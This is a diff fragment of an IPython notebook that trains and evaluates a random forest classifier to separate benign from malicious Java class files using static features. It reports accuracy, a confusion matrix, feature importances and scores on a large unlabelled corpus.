+      "                'class_name_lowercase_run_longest', 'class_name_slash_count',\n",
+      "                'class_name_uppercase_run_avg', 'class_name_uppercase_run_longest',\n",
+      "                'constant_pool_count', 'entropy', 'interface_count', 'major version',\n",
+      "                'method_name_digit_run_avg', 'method_name_digit_run_longest',\n",
+      "                'method_name_lowercase_run_avg', 'method_name_lowercase_run_longest',\n",
+      "                'method_name_uppercase_run_avg', 'method_name_uppercase_run_longest',\n",
+      "                'methods_count', 'minor version', 'size']\n",
+      "\n",
+      "X = java_4k_df.as_matrix(all_features)\n",
+      "y = np.array(java_4k_df['label'].tolist())\n",
+      "\n",
+      "scores = sklearn.cross_validation.cross_val_score(clf_4k, X, y, cv=10)\n",
+      "print(\"Accuracy: %0.3f (+/- %0.3f)\" % (scores.mean(), scores.std() * 2))"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Accuracy: 0.989 (+/- 0.008)\n"
+       ]
+      }
+     ],
+     "prompt_number": 243
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### Testing out this new classifier still shows us good results."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "import sklearn.ensemble\n",
+      "from sklearn.metrics import confusion_matrix\n",
+      "from sklearn.cross_validation import train_test_split\n",
+      "\n",
+      "# 80/20 Split for predictive test\n",
+      "X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n",
+      "clf_4k.fit(X_train, y_train)\n",
+      "y_pred = clf_4k.predict(X_test)\n",
+      "labels = ['benign', 'malicious']\n",
+      "cm = confusion_matrix(y_test, y_pred, labels)\n",
+      "plot_cm(cm, labels)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Confusion Matrix Stats\n",
+        "benign/benign: 99.00% (398/402)\n",
+        "benign/malicious: 1.00% (4/402)\n",
+        "malicious/benign: 0.79% (3/382)\n",
+        "malicious/malicious: 99.21% (379/382)\n"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x1128638d0>"
+       ]
+      }
+     ],
+     "prompt_number": 244
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "# Feature Selection\n",
+      "# Which features best deferentiated the two classes?\n",
+      "# Here we're going to grab the feature_importances from the classifier itself, \n",
+      "importances = zip(all_features, clf_4k.feature_importances_)\n",
+      "importances.sort(key=lambda k:k[1], reverse=True)\n",
+      "sum = 0\n",
+      "for idx, im in enumerate(importances):\n",
+      "    sum += round(im[1], 5)\n",
+      "    print (str(idx+1) + ':').ljust(4), im[0].ljust(35), round(im[1], 5), sum"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "1:   class_name_slash_count              0.25082 0.25082\n",
+        "2:   class_name_length                   0.22822 0.47904\n",
+        "3:   entropy                             0.0733 0.55234\n",
+        "4:   constant_pool_count                 0.06575 0.61809\n",
+        "5:   class_name_uppercase_run_avg        0.06179 0.67988\n",
+        "6:   size                                0.05436 0.73424\n",
+        "7:   class_name_lowercase_run_longest    0.05158 0.78582\n",
+        "8:   class_name_uppercase_run_longest    0.04584 0.83166\n",
+        "9:   method_name_lowercase_run_longest   0.03077 0.86243\n",
+        "10:  method_name_lowercase_run_avg       0.02461 0.88704\n",
+        "11:  class_name_lowercase_run_avg        0.02118 0.90822\n",
+        "12:  interface_count                     0.01524 0.92346\n",
+        "13:  major version                       0.01305 0.93651\n",
+        "14:  method_name_uppercase_run_longest   0.01267 0.94918\n",
+        "15:  method_name_uppercase_run_avg       0.01198 0.96116\n",
+        "16:  methods_count                       0.01062 0.97178\n",
+        "17:  ap_count                            0.00603 0.97781\n",
+        "18:  class_name_digit_run_avg            0.00561 0.98342\n",
+        "19:  minor version                       0.00547 0.98889\n",
+        "20:  acc_public                          0.00262 0.99151\n",
+        "21:  acc_abstract                        0.00221 0.99372\n",
+        "22:  class_name_digit_run_longest        0.00133 0.99505\n",
+        "23:  acc_super                           0.00132 0.99637\n",
+        "24:  acc_final                           0.00128 0.99765\n",
+        "25:  method_name_digit_run_avg           0.00089 0.99854\n",
+        "26:  method_name_digit_run_longest       0.0008 0.99934\n",
+        "27:  acc_interface                       0.00065 0.99999\n",
+        "28:  acc_annotation                      0.0 0.99999\n",
+        "29:  acc_enum                            0.0 0.99999\n",
+        "30:  acc_synthetic                       0.0 0.99999\n"
+       ]
+      }
+     ],
+     "prompt_number": 245
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### Let's test on the large corpus again."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "clf_everything_4k = sklearn.ensemble.RandomForestClassifier(n_estimators=50)\n",
+      "\n",
+      "X_all = java_4k_df.as_matrix(all_features)\n",
+      "y_all = np.array(java_4k_df['label'].tolist())\n",
+      "\n",
+      "clf_everything_4k.fit(X_all, y_all)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 246,
+       "text": [
+        "RandomForestClassifier(bootstrap=True, compute_importances=None,\n",
+        "            criterion='gini', max_depth=None, max_features='auto',\n",
+        "            min_density=None, min_samples_leaf=1, min_samples_split=2,\n",
+        "            n_estimators=50, n_jobs=1, oob_score=False, random_state=None,\n",
+        "            verbose=0)"
+       ]
+      }
+     ],
+     "prompt_number": 246
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "clean = 0\n",
+      "gray = 0\n",
+      "bad = 0\n",
+      "X_rest = java_random_the_rest_df.as_matrix(all_features)\n",
+      "for x in X_rest:\n",
+      "    score = clf_everything_4k.predict_proba(x)[:,1][0]\n",
+      "    if score < 0.5:\n",
+      "        clean += 1\n",
+      "    elif score < 0.8:\n",
+      "        gray += 1\n",
+      "    else:\n",
+      "        bad += 1\n",
+      "\n",
+      "print java_random_the_rest_df.shape[0]\n",
+      "print clean\n",
+      "print gray\n",
+      "print bad"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "364341\n",
+        "359198\n",
+        "3766\n",
+        "1377\n"
+       ]
+      }
+     ],
+     "prompt_number": 247
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### That's much better.  But still a large number of files in the gray area and marked as malicious.  More than I would expect.  This means we either need more training data, or better features."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [],
+     "language": "python",
+     "metadata": {},
+     "outputs": []
+    }
+   ],
+   "metadata": {}
+  }
+ ]
+}
\ No newline at end of file